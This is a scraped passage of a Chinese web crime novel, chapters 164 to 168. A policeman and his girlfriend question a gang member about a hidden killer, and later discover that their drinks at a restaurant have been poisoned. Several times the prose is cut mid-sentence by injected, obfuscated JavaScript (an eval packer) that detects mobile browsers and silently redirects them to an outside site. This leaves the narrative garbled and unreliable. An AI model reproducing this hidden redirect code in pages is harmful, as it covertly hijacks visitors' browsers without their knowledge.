有钱就是可以为所欲为一色的小伙子没有穿西装散开人群里看不出来但是聚在一起站着的时候给人很强的压迫感。 楚隽和带头的那个认识招呼了一声:“卫风。” 岑卫风应了一声:“楚队。” “今天辛苦大家了。”楚隽说:“我要去找人谈点事儿你们帮我盯着点。这是我女朋友重点保护他。” “好。”岑卫风道:“你放心交给我们。” 安暖这一刻觉得让他们住家里也不是不行特别有安全感。 本来她觉得楚隽所说的跟鄂嘉荣的手下那个叫宋睿的谈谈是像上一次和鄂平成谈谈一样。就是先打电话约约在某一个饭店酒楼。直接见面或者请个厉害的中间人见面。 可是没想到这一次刺激多了。 也难怪楚隽这一次要带这么多保镖。 他没有一笔钱是浪费的。 三辆车呼啸离开,一个小时之后,到了一个院子外面。 这是自建房,独门独户的。 安暖往外看去:“人在这个地方吗?” “对,就在这里。”楚隽说:“这是宋睿情妇的家,昨天晚上,他就是在这里过夜的。现在还未离开。” 在这个没有及时通讯工具的年代,能将一个人定位得这么精准,是很不容易的。 众人下车。 岑卫风看了眼楚隽,楚隽点了点头,他便带着两个人先过去。 也不敲门,直接从院子墙翻了过去。 虽然楚隽坚称这只是保镖,但安暖左看右看,感觉他们和普通的保镖还是有一定区别的。 过了一会儿,门从里面开了,岑卫风走了出来。 楚隽这才带着安暖下车。 “进去吧。” 虽然是二层的自建房,但里面装修得挺精致,和一般的农家小院不一样。这自建房的主人一看就不是务农的。 进了客厅,只看见沙发上坐着一个穿睡袍的中年男人。 男人身边,一左一右,站着刚才进来的两个保镖。 男人有点气急败坏的模样,头发乱糟糟的,衣服带子也没系好,穿着一只拖鞋。 看得出来是很仓促,很不情愿被拽过来的。 出来混的人,深深地明白,出来混总是要还的。也深深地明白,好汉不吃眼前亏。 虽然宋睿目前还没搞清楚到底这是什么人,但不影响他非常识时务,按兵不动。 岑卫风出去一下,回来跟了两个人,宋睿心里明白,正主来了。 一抬头,宋睿脱口而出:“楚少?” “是我。”楚隽大步进来:“打扰了。” 看见楚隽,宋睿有种松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551093|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气的感觉。 楚隽是警察,不管怎么样,也不可能打打杀杀。就算是惹急了,打一打,也不会杀。出不了大事,总能留一点余地的。 反正命今天是保住了。 “吓了我一跳,楚少有事找我,直接来找我就是,哪里需要弄这阵仗?”宋睿一见安暖,还挺自觉,将衣服带子重新系了一下,整理了一下。 在女士面前,要衣装整齐。 “误会了,不是针对你。”楚隽坐下,云淡风轻:“我带着他们,是有别的用处的。只是正好有事情要问你,就顺便过来一趟。” 这话说出来连安暖都不信,但是宋睿人在屋檐下,不得不信。 “那就好,那就好。”宋睿道: “那……我给楚少倒杯茶。” “不用麻烦了。”楚隽说:“就是简单一点事情,问清楚我就走。” “你问,你问。” 宋睿一脸的认真。 他是鄂嘉荣的手下,梁柔的事情他肯定知道,但是内情未必知道多少。 对他来说,梁柔跟他是一点关系都没有的,**就**,与他无关。 楚隽道:“你们老大,鄂嘉荣,这两天是不是不在家?” “是不在家。” “去哪儿了?” “不知道呀。”宋睿也不知道:“我也不是时时刻刻跟在鄂哥身边的,有事情他才找我。没事情,我哪敢打探他的行踪。” “行,那就不问他。”楚隽道:“说点你知道的。你还记得半个月前,落日酒吧吗?” 宋睿很想说我已经都忘了,但半个月时间太短,除非失忆忘不了,只好点头。 “你还记得那天晚上在包厢里,去了多少人吗?” “大……大概记得吧。”宋睿道:“都是鄂哥手下的兄弟,楚少,那天我们真的不是故意针对这位小姐,实在是意外。如果知道这位小姐是楚少的人,给我们个胆子,也不敢动啊。” 就算是鄂嘉荣,在楚隽面前也只能认了吃亏,何况他们。 楚隽道:“把他们都叫来。” 第164章 割喉,暗中死士 宋睿对楚隽的要求十分不解但人在屋檐下不得不低头。 反正他想来想去自己也没有得罪楚隽和梁柔的死也没有关系那就没什么好害怕的了。 于是一个电话一个电话地打出去。 这个年代装电话的人不多但是一个可以喊一个他们日常出门办事儿召集兄弟也是有各种办法的。 楚隽就等在这里。 半个小时后陆续开始上人。 一个人可能不能将人想全但是人多了自然就一个连着一个都能想出来了。 半天之后客厅里坐了十几个人。 宋睿终于擦着汗说:“楚少全了。那天在包厢里的人除了有两个兄弟出门去了其他都在这里了。” 从第一个人过来开始安暖就在观察。 凶手可不是路边随手抓着的小混混也许他躲在人群中别人认不出。但一定有种不一般的气质。 但鄂嘉荣的这一群手下 楚隽拿出了小本本。 “来吧都给我说说昨天下午在什么地方。”楚隽带着一群凶神恶煞的保镖当场开始录口供。 录了一圈觉得都不是。 安暖安静的在一旁听着没有说话。 一直到最后一个人说完安暖皱起眉头。 难道是他们的方向错了? 但还有什么场合能让她招惹上一个疯子呢? 楚隽合起本子:“鄂嘉荣身边还有没有什么厉害的人物?” “厉害……的人物?”宋睿说了几个名字。 但这几个名字都是之前他们打听鄂嘉荣的时候就知道的没有什么疑点。 “还有呢?”楚隽道:“再仔细想想有没有什么……平常不会和你们见面但是你们知道有这么个人的厉害角色。” 这形容十分矛盾但是安暖分明看见宋睿脸上闪过一丝异样。 “果然有。”安暖立刻道:“说。” “你还有瞒着的呢?”楚隽淡淡道:“宋睿你知道的很多事情其实我是睁一只眼闭一只眼。这次是命案你们合作点尽快配合警方把凶手找到。不然的话只会越查牵扯越多。” 宋睿一脸苦相。 毕竟楚隽现在的模样一点也不像是警方。 休假之后他能发挥的地方更多了。 “我知道。”宋睿用苦瓜脸想了半天说:“楚少我想单独跟你说几句。” “行。” 楚隽带着宋睿去了外面的院子,安暖也跟过去了。 安暖理解得到单独说几句,是要避开鄂嘉荣的兄弟,肯定不是为了避开她。 她现在也是查案人员,避无可避。 宋睿看着安暖跟出来,给了楚隽两次眼神上的暗示,但楚隽都没看见,他也就没有办法。 “是有这么一个人,但我也不知道他是谁。”宋睿说:“我跟了鄂哥十几年了,但也只是听说。” “仔细说说看。” 宋睿道:“听说鄂哥手下有个狠角色,据说手上见过血。人很孤僻,心狠手辣。但是没人见过他。” “没人见过?这个人从未出现在鄂嘉荣身边过吗?” “对,至少我没见过。”宋睿说:“一般来说,只要鄂哥有事儿,我肯定是要在场的,但我从没见过这个人。这样的人,楚少应该也不陌生,很多老大身边,都会有这样的人,平时不派活儿,好吃好喝的养着,在有什么重要事情的时候,才会出手。” 相当于养着死士吧。 楚隽理解:“接着说。” “那天在落日酒吧,我怀疑那个人也去了。” “怎么说?见着了?” “没有,哪儿能让我们见着。”宋睿还挺细心:“是这样的,那天在酒吧呢,是鄂哥先去的,我是第二个到的。我到的时候,闻着空气里有香水的味道。” 安暖不由地道:“这个人是个女人?” 难道他们的推断是错的?凶手是个女人? “不是不是。”宋睿说:“是男士香水。鄂哥是从来不用香水的,他不喜欢香水的味道。而且我进去的时候,就看见桌上放着几个空瓶子。鄂哥其实并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551094|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱喝酒,跟兄弟们在一起聚也只是喝几口意思意思,一个人不可能闷头就喝了几瓶酒。” “所以你怀疑,已经有人进去过了,只是在你去之前离开了。” “对。” “你问了吗?” “问了呀。”宋睿道:“我当时没有多想,顺口问了一句。我说鄂哥,谁来那么早?鄂哥说,小顾。我一听小顾,也不知道这小顾是谁,又问他,那哪个小顾。但是鄂哥就摆了摆手,没有回答了。我也就没有再问。” 所以在落日酒吧鄂嘉荣的包厢里,有那么一个提前进场,又提前离场的人。 安暖一想,可是不对啊。 如果这个人提前离场了,那就没看见她。 如果没看见,何来交集? 应该不会是这个人吧? 除非这个人离开包厢之后,并没有离开酒吧。而是依然留在酒吧里,看见了那一幕。 包厢的门不是全遮挡的,中间一块是玻璃,如果有心人从外往里看,也是能看见一些的。这也不是唱歌的包厢,隔音效果也一般。要不然的话,她在里面喊楚隽,也不能被他听见。 “小顾?”楚隽念了一遍:“鄂嘉荣身边,没有姓顾的?” “没有。”宋睿摇头:“当然兄弟里姓顾的肯定有,但都是八竿子打不着的,肯定不可能是鄂哥口中的小顾,没有这分量。” 不管这个人是不是,找出来。 楚隽道:“宋睿,你在鄂嘉荣身边这么多年,该认识的应该都认识吧。” 宋睿连连点头:“认识,认识。” “去打电话。”楚隽道:“一个一个问,看看谁认识这个小顾。” 宋睿脸上的表情有点苦,但是没办法,还是打电话去了。 里面自然有人盯着她。 安暖站在院子里,看着院子里养的几只鸡走来走去,迟疑道:“楚隽,你说这鄂嘉荣,是不是出什么事儿了?” “为什么这么说?” “我总觉得这宋睿,身为鄂嘉荣的左膀右臂,招供的快了点。” 第165章 割喉,大难临头各自飞 宋睿在鄂嘉荣手下,可不是一般人。他和鄂嘉荣之间,是有共同的秘密的。 这个秘密甚至可以让他们同生共死。 比如一起杀过人,一起埋过尸,只有共同的见不得光的秘密,才能让大家彼此信任。不害怕对方的背叛。 楚隽虽然上门问话凶神恶煞,但终归也没有怎么样。没有诡言狡辩,没有拖延时间,没有顾左右而言他,这实在是有些奇怪。 安暖道:“莫非宋睿已经决定脱离鄂嘉荣了? 左膀右臂,利益捆绑极深,像宋睿这样的老狐狸想要脱离,一定有一个必要的原因。 楚隽沉思片刻。 “除非鄂嘉荣畏罪潜逃去了国外,要不然的话,我不信找不到他。楚隽道:“我倒要看看,他到底出了什么事情。 进了房间,楚隽开门见山。 “鄂嘉荣是不是出事了? 宋睿视线恍惚一闪:“什么,楚少,你说什么? “别跟我装,我不吃这一套。楚隽说:“我今天既然来找你,就一定要得到一个满意的答案。这里还有这么多手下,你找我借一步说话,就不怕其他人在鄂嘉荣面前闲言碎语吗? 对鄂嘉荣这种人来说,最注重的是忠诚。 一次不忠,百次不用。宁可错杀,不过放过。 宋睿不会不懂这个道理。 楚隽叫人将客厅里的一群人先带出去,给宋睿一个独处安全的空间,更适合敞开心扉的说出自己的秘密。 一群人出去后,宋睿的神情显然要松懈了一些,绷得没有那么紧了。 “宋睿。楚隽换了一个姿势,架起二郎腿:“现在只有你我了,你可以放心说了,到底鄂嘉荣出了什么事。你已经迈出了第一步,以后的路,可要想清楚了。可别两头都想顾,两头都丢了。 这就是宋睿现在最害怕的事情。 风浪动荡的时候,怎么站队,朝向哪边,这可是大学问。 楚隽面无表情看着宋睿。 “宋睿,鄂嘉荣可不止你一个亲信。楚隽道:“你应该庆幸我找了你,我要是找了别人,以后出了什么事情,坦白从宽可就没你这份了。不然的话,礼尚往来,我记你这个人情,还能给你说几句话。 宋睿脸色发白。 楚隽不能左右法律,但是坦白从宽这四个字,是真的有用的。 无论什么案子,量刑都是有上限,有下限的。 一起下限三年,上限十年,甚至**的案子。如果有认罪 自首情节,有重大立功表现,就可能是三年,甚至可以缓刑。虽然今天楚隽带着一群保镖像是**,但宋睿当然知道他是什么人,有什么能量。能够让楚隽承他一个人情。 有百利而无一害。 宋睿陷入了痛苦的纠结,楚隽也不着急,等着他。 一直到他喝了两杯酒,终于道:“其实,我也只是怀疑。 “怀疑也不要紧,你说说看。 宋睿说:“这半年,老大确实有些不对劲。 “具体呢。 宋睿长长嗯了一下,一边想一边说:“具体表现的在,老大突然不爱喝酒了,也不爱抽烟了,说要养身。找女人……也不怎么找了。当然也没有那么明显,但因为我常跟在他身边,所以才有这种感觉。 “养生?楚隽想了想:“今年鄂嘉荣,有四十了吗? “没有,三十八,没结婚。 对鄂嘉荣的年纪,宋睿一点磕碰都没有,果然对鄂嘉荣很了解。 三十八岁,虽然也不年轻了,但是鄂嘉荣保养得不错,看起来也就是三十多不了多少,那天砸酒瓶子还挺生猛呢。 怎么突然就开始养生了呢? 安暖了立刻道:“莫非鄂嘉荣的身体出问题了? 这是最合理的解释了。 “老大的身体……出问题了?宋睿也犯了嘀咕:“不应该啊,没觉得啊。而且身体出了问题,就是生病了,那有什么好隐瞒的,有病治病就是。老大难道还请不起好的医生,看不起病吗? “想知道,很简单。楚隽道:“除非这个人躲在深山老林,不然的话,身边接触的人一定会有所察觉。咳嗽都遮掩不住,何况是什么大病? 楚隽就用宋睿家里的电话,给江笑愚打了电话,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551095|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他往这个方向查 鄂嘉荣家里有好几个佣人,他生病总要去医院吧,就算是瞒的再严实,也要找医生吧。是绝对不可能瞒住所有人的。 不过是当你想不到这个方向的时候,就不会刻意去问,去查。 虽然没找到那个神秘的顾姓男子,但这一趟总算有了一点进展。 楚隽看着天色有些暗了,宋睿也吓的差不多了,也起了身。 “我先走了,要是想起什么,给我打电话。楚隽留了个电话给宋睿:“宋哥,后面的日子如何,就看你自己了。 楚隽最后这一声宋哥,喊的可是意味深长。 虽然论年纪,楚隽喊宋睿一声哥是可以的,但他可不敢应。 宋 睿连忙起身,一口一个楚队送了出去。 今天在宋睿这里耗了一天,但这时间算是没白耗。 出了门,安暖道:“我们要去鄂嘉荣家里看看吗?” “不着急。”楚隽说:“这事情让**去办。我现在毕竟是休假,也不好插手太多。” 这句话安暖怎么就这么不信呢。 楚隽走向岑卫风,跟他说了几句之后,两人互相换了车钥匙。 “走。”楚隽走回来:“今天换卫风的车开。” 最近这车换来换去的,安暖都已经麻木了。 “我开车吧。”安暖说:“今天也忙了一天,你休息休息。” 平安无事的时候,她多忙点。等真的有什么情况发生,还得靠楚隽出力。 楚隽爽快的将车钥匙塞进安暖手里。 安暖开车,他放心。 安暖做事,他也放心。 回去的路上,想着家里没什么吃的了,楚隽道:“找个饭店吃饭吧?这两天都挺累的,就别自己烧了。” 家里最近有情况,也不想让阿姨上门烧饭打扫卫生。 “好。”安暖突然道:“咱们回去,是不是要路过鄂嘉荣住的那片别墅区?” “对,正好路过。” “那我们就去那边吃吧。”安暖道:“周边走一走,看一看,说不定能找到什么线索。” 第166章 割喉,下毒 鄂嘉荣所住的别墅区附近,正好有一家百年老字号的川菜馆。 楚隽去吃过一回。 虽然他觉得有点辣了,但是这几天观察安暖,觉得她还挺喜欢辣,估计会喜欢这里的口味。 车开到了别墅区外的路上,已经亮起来星星点点的灯光。很快,就到了昨天去过的那家花店门口。 花店门口,老板正一边关门,一边和人聊天。 看样子他这个店在这里开了挺久,跟周边的人都挺熟悉的。这花店,估计也少不了回头客和长期客源才能维持。 正是下班高峰期,这条路上没有那么明确的机动车,非机动车和行人的分界,自然就开得慢了。 锦园川菜馆就在前方不远的地方,肉眼可见。 车停在川菜馆门口的停车位,两人进了店。 “坐包厢里吧。楚隽说:“好说话。 他们俩这会儿说话,肯定难免要聊案子,在大厅里万一被人听去了,不太好。隔墙有耳的事情,小心一些得好。 “好。 服务生带着他们去了二楼的包厢,送上菜单。 楚隽将菜单给安暖:“看看想吃什么,随便点。多点几个菜,吃不完可以打包回去。 他竟然有这样勤俭节约的意识,也是很让人意外。 安暖点完,楚隽又加了两个特色菜,点完菜一抬头,看见安暖正在看他,十分奇怪。 “这么看我做什么?楚隽奇道:“我就那么帅? “帅确实是帅。安暖捧着下巴说:“不过我看你,倒不是这个。 “那你看我做什么? “就是挺奇怪的,我以为楚大少是吃一碗丢一碗的人呢,没想到还挺节约。 楚隽笑了一下:“不节约可不行。在外面还好一些,在家里还是剩饭,爷爷是要骂人的。 翟老爷子是走过长征的,爬雪山过草地,什么苦都吃过,可看不得人浪费粮食。 “难怪呢。安暖理解了。 “你不会觉得我小气吧?楚隽说:“我只是觉得,两个人吃饭,如果菜点少了吃的不尽兴,所以要多点几个菜。但是点了肯定吃不了,浪费总不好。 “不会不会。安暖连忙摇头:“怎么会呢,节约和小气可不是一回事儿。节约是好事,而且你一点儿都不小气。 两万块的手表说送就送,十几万的车说给就给,楚隽和小气是一点儿也搭不上边的。 楚隽放心了,挺高兴。 可惜 一会儿要开车这两天事情又比较多要不然一人来瓶啤酒还是可以的。 楚隽问了有什么饮料 “对了。”安暖说:“我能不能买一箱可乐放在家里?” “当然可以不过你这么喜欢喝可乐?” 安暖连连点头。 服务生先送了饮料上来安暖要的是可乐楚隽要了酸梅汤。 可乐打开安暖喝了一大口然后憋着一口气半晌缓缓地吐出这口气。 好像整个人都快乐了。 楚隽只觉得不能理解。 安暖说:“我就喜欢喝可乐喝一大口然后喘不过气快要憋死的感觉。” 于是楚隽更不能理解了。 好在楚隽非常想得开楚隽说:“虽然不理解但是尊重。你喝吧不过少喝点带气儿的饮料喝了容易饱就吃不下菜了。” “好。” 很快菜就陆续上来了两人脱了外套卷着袖子吃。 百忙之中楚隽问:“怎么样?他们家的菜味道你喜欢吗?” “喜欢好吃。”安暖开心道:“我看他们店里也有火锅咱们下次来吃火锅吧。” “好。” 今天已经点了不少菜了再点火锅是无论如何也吃不下了。 两人热热闹闹地吃了起来一边吃一边说。 一瓶可乐肯定是不够的很快安暖又要了一瓶可乐。 不过楚隽说得对可乐还是要少喝一些。虽然现在年轻也要注意身体啊还容易长胖。 安暖先将第二瓶可乐放在一边:“我也喝一杯酸梅汁。” “好。” 楚隽给安暖也倒了一杯。 要是忍住了这瓶可乐就不喝了。要是没忍住一会儿再喝就算喝不完也可以连瓶子一起拿走路上喝。 两人又吃了一气儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551096|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 边吃边聊。 楚隽一边给安暖剥一只虾一边说:“鄂家只有兄弟俩掌权的人只有鄂嘉荣。如果他的身体真的出了问题不知道有没有可能是鄂平成动的手脚。” “也不是没有可能鄂平成虽然是弟弟但谁不想要家产呢?上一次你不是跟我说吗这个鄂平成也不是个善茬。” 所有案子里第一个怀疑的人都是得到利益最大的人。 如果鄂嘉荣身体出了状况得到利益最大的那个人自然就是鄂平成。也怪不得叫人怀疑。 本来只是梁柔的死,如今凶手没找到,但这幕后的水,越来越深了。也不知道顺藤摸瓜,到底能挖出什么来。 正说着吃着呢,服务员敲了敲门。 “两位客人。”服务员托盘上,放着一壶茶:“这是小店送的苦荞茶,解辣的效果很好。两位请尝一尝。” 服务生给两人一人倒了一杯。 “谢谢。” 楚隽应了一声。 服务员将茶放下,退了出去。 “苦荞茶?”安暖拿起茶杯闻了闻:“嗯,我不喜欢这个味道,还是可乐好。” 一切养身的东西,都没有增肥的好喝,真是人间悲剧。 楚隽笑了一声,拿起茶杯。 安暖也拿起了第二瓶可乐。 可乐是玻璃瓶的,桌上有扳手,安暖撬开了瓶盖,珍惜地喝了一口。 且喝且珍惜。 她砸吧砸吧嘴,感觉不太对。 “怎么了?”楚隽一边顺口问,一边将茶送到嘴边。 安暖凑在玻璃瓶口,仔细地闻了闻。 她突然站起来,一把按住楚隽正要往嘴边送的茶。 楚隽一个没防备,茶水溅了一身。 “别喝。”安暖道:“我这瓶可乐味道不对。” 楚隽吓了一跳,脸色一变。 安暖立刻拿起瓶子看,又拿起盖子看。 这玻璃瓶是她撬开的,一次成型,应该只有一个被撬开的痕迹。可这盖子上,还有一个地方,有非常轻微的痕迹。 如果不是特意的仔细的看,根本就发现不了。 第167章 割喉,见了鬼的神通广大 如果是在平常,安暖可能还没有那么紧张。但是在这非常时期,她一瞬间就想到了很多。 最有可能的就是,有人下毒! 这一刻,安暖反应的速度,快的让楚隽都吓了一跳。 安暖一手拿起没喝完的可乐,一手拿起茶壶,全部塞进楚隽手里,说了句:“陪我去卫生间。 卫生间就在这条走廊的尽头,并不远。 两人出了门,将包厢门关上,安暖直奔卫生间去。 女士卫生间,楚隽不方便进去,只能在外面等着。 安暖冲了进去,进了卫生间隔间,蹲下身子,将食指与中指伸入口中,催吐。 她不确定刚才喝进去的是什么,是不是会对身体立刻带来损害,如果是**,绝对不能等到去医院。 时间就是生命,在服毒之后的半个小时之内立刻催吐,能有效的减少阻止毒物进入身体。 更何况她从喝下可乐到催吐,总共不超过三分钟,这个时候催吐的效果是最好的,就是有点受罪。 五分钟后,安暖洗脸漱了口,眼泪汪汪的出了卫生间的门。 如果这会儿人多,最好的办法是封锁餐厅,找凶手。 但现在只有楚隽和安暖两个人,根本就不可能全面筛查凶手。留得青山在,不怕没柴烧。先要保证人身安全,再做计划。 楚隽一见安暖出来,立刻迎上去:“怎么样? “没事儿,我催吐过了。安暖道。 “走。楚隽道:“去医院。 安暖接过楚隽手中的可乐瓶,让楚隽腾出一只手来。 虽然对方不至于敢正面和他们冲突,但小心些总没错。楚隽空出的手按在腰上,随时可以拔枪开枪。 凶手是谁,在哪里,这个问题现在是次要的。 先保证自身安全再说。 车就停在外面,楚隽飞快绕车看了一圈,开门上车。 他下车的时候,便顺手在几个紧要地方做了记号,如果有人靠近,是能看出来的。 上一次他觉得自己大意了,没想到会被人跟踪,才会让人将盒子塞进了车底。这几次,改进了一些。 车飞快上路,开往最近的医院。 车一路开,楚隽不时紧张的看安暖。 “怎么样,可有什么不舒服? “没有,你别担心。安暖很冷静:“问题不大,如果是下毒的人就是送花的人,他应该不是要我的命。可能不是**,我催吐也是为了以防万一。 车很快到了医院楚隽开车冲进院子冲下车来。 进了医院楚隽熟门熟路。 安暖去检查一瓶可乐一壶茶送去化验。 一通忙活安暖并无大碍医生拿着验血结果看了看 两人都松了一口气。 “还好没事儿。”楚隽道:“今日还是大意了竟然让人下了毒。” 楚隽亮了证件医院加急将两种液体做了分析化验。 这结果让他们吓了一跳。 可乐和茶里都有药物成分。 医生将检验结果递给楚隽。 可乐里面是一种**喝了之后会让人陷入昏迷。 茶里面是一种**会**。 楚隽看着两张检验单缓缓道:“看来这个人是想要你的人要我的命。” 他知道安暖喜欢喝可乐所以将**放在可乐中。楚隽一个大男人正常是喝茶的所以将**放进来茶水中。 真是亲疏有别表现得清清楚楚。 “这人怎么这么神通广大?”安暖就不信了:“他总不能在我们身上装了**吧?” 不现实这个年代没有这个技术。 要说在车上装一个**还行但是他们又已经换了车装在他们身上不可能。 可这人对他们的行踪也太了若指掌了。 上一次可以是跟踪鄂平成所以跟踪到了他们。 这一次呢?这一次是怎么回事? 这一次这人是怎么知道他们在川菜馆吃饭的? “不对。”安暖沉吟着道:“这个人不是和我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551097|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一起来的是在我们之后来的。” 要是凶手是和他们一起来的或者和他们前后脚那下毒就不会是在第二次加的酒水里。 第一次下毒更方便因为第一次的时候他们非常明确地表示了楚隽喝酸梅汤安暖喝可乐。**和**分别放在两种饮料里就是。 何必等到第二次上饮料。 第二次其实是有点冒险的万一安暖已经饱了不再喝第二瓶呢?万一楚隽也饱了不想喝茶呢? 楚隽道:“我先去给**打个电话。” 饭店里有人下毒这事情绝对不能就这样过去整个餐厅都要查。凶手不管是谁能在给客人的茶水中下毒就说明他在饭店出现过而且 很有可能,就是饭店里的人。或者,认识饭店里的人。 江笑愚这几日都住在警局,不在办公室,就在他家的三室套。 一个电话过去,差点没将江笑愚吓死。 老大和小安,差一点被人毒**,这还得了。 不管是多晚,也等不了一点。 确定了身体无恙,楚隽带着安暖杀了回去。 在回去的路上,安暖说:“我刚才想了半天,只想到一种可能。” “什么?” “这个凶手,就在饭店附近。”安暖说:“他不可能是一路跟着我们车的,这不现实。我们这几天换了那么多车,而且路上也有观察,并没有车跟着我们。我不信这个人这么厉害,能够逃过我们俩的观察。” “嗯。” 楚隽也觉得,没有这个可能。 他们俩又不瞎。 安暖道:“而且这一路我们都是关着车窗的,又开的不慢,从外面根本就看不见里面。谁也跟踪不到。只有进了长安路之后。” 就是川菜馆所在的那条路。 那条路上人多车慢,而且,楚隽虽然知道川菜馆就在这条路上,但毕竟只去过一次,不能具体到某一个路口,所以开了车窗,往外看去。 只有在这条路上,外面的人能看见他们。 第168章 割喉,毒的来源 楚隽和安暖对视,聪明人不用说,便能看明白对方眼神中的意思。 楚隽道:“凶手不可能一路跟着我们,今天他出现在川菜馆,唯一只有一种解释,他就在川菜馆附近。 而且,他们去川菜馆是临时决定的,是路上开车的时候一拍脑袋做的决定,不存在提前泄露消息。 所以就是这么巧,或者说,就是这么倒霉。 他们被看见了。 凶手大概也是临时起意,他可能就在长安路上,正在做别的事情,一抬头,恰好看见了他们。 他们的车虽然换了,但直接看人也是认得出来的。 凶手便眼睁睁地看着他们进了川菜馆,然后判断这是个下手的好机会,立刻就开始行动。 不过这世上毕竟没有那么多无色无味的毒和药,对安暖这种警惕心非常强,最近又特别警惕的人来说,那一小口可乐立刻就让她觉得不对劲,立刻叫停看,然后飞快的处理了后续。 可惜当时安暖正在开车,为了安全,开车的时候还是比较专心的,很难会注意路过的每一个人。 当时正是下班高峰,长乐路上,行人自行车都有,车一晃而过,想去注意一个完全不认识的人,这不太现实。 相反的,对方认识他们,若是看见自然一眼就会认出,注意。 两人很快回到川菜馆。 楚隽现在休假,不好亮出身份,江笑愚过来还要过一阵子,直接摇了就近的派出所**过来。 川菜馆还在营业,晚上正是生意好的时候,一下子进来四五个警察,前台一看有点害怕。 今天负责的大堂经理姓卓,卓经理连忙迎了出来:“几位同志,这是有什么事情吗? 楚隽道:“刚才三号包厢,有人**。 卓经理惊呆了:“有人,投,投,投什么? “**。 “这怎么可能?卓经理怀疑自己幻听:“不可能啊。 “可能不可能,这种事情我能乱说吗?楚隽道:“因为被**的人,就是我。 卓经理吓了一跳。 他茫然地看向周围,这是什么时候的事情,他怎么不知道? 楚隽道:“把刚才三号包厢的服务员喊过来。 一个服务员服务几个包厢,这都是固定的。 不过能接触到酒水的并非只有包厢服务员,饭店里的每一个人,都有可能接触到。甚至是饭店外面的人,也有可能接触到。 饭馆是个随便什么人都能进的 地方,哪怕你没在这里吃饭,进来看看环境,上个厕所,问问菜式,都可以。哪怕你什么都不干,进去转一圈,别人也不会知道你到底在不在这里吃饭,不会多问一句。 卓经理心里七上八下的,也不知道今天到底发生了什么,只是心里奇怪。 要说有人**,为什么被**的时候没有闹开,这会儿才开始。 但在一圈警察围着的情况下,卓经理立刻说:“好,马上喊。” 三号包厢的服务员叫蒋苑,刚才他们见过的,是个二十来岁,长相甜美的小姑娘。 她来川菜馆工作已经有半年了,还从没见过这样的阵势,有点害怕地走了过来。 “同志别害怕。”楚隽说:“问你几句话。” 蒋源点了点头。 “还记得我们吗?” “记得。”蒋源说:“你们是刚才在三号包厢吃饭的客人。” 就是不知道为什么,吃着吃着就跑了。 十万火急的情况下,楚隽竟然记得拍拍了五十块钱在桌上。 那就不是逃单,是吃饭的客人有急事,所以没吃饭就走了。饭店里这种情况也很常见,没什么稀奇的。 楚隽当然不会欠一顿饭,但是刚才不想让饭店有任何惊慌动荡,因此才会放了钱在桌上。 “对,就是我们。”楚隽道:“刚才你第二次送进包厢里的苦荞茶和可乐,是哪里来的?” “就,就从后厨啊。”蒋源往后面一点:“所有的饮料酒水,都是从那里出来的。” 川菜馆里的点菜上菜体系和几十年后差不多,只是没有电脑,全人工操作。 客人点菜,服务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 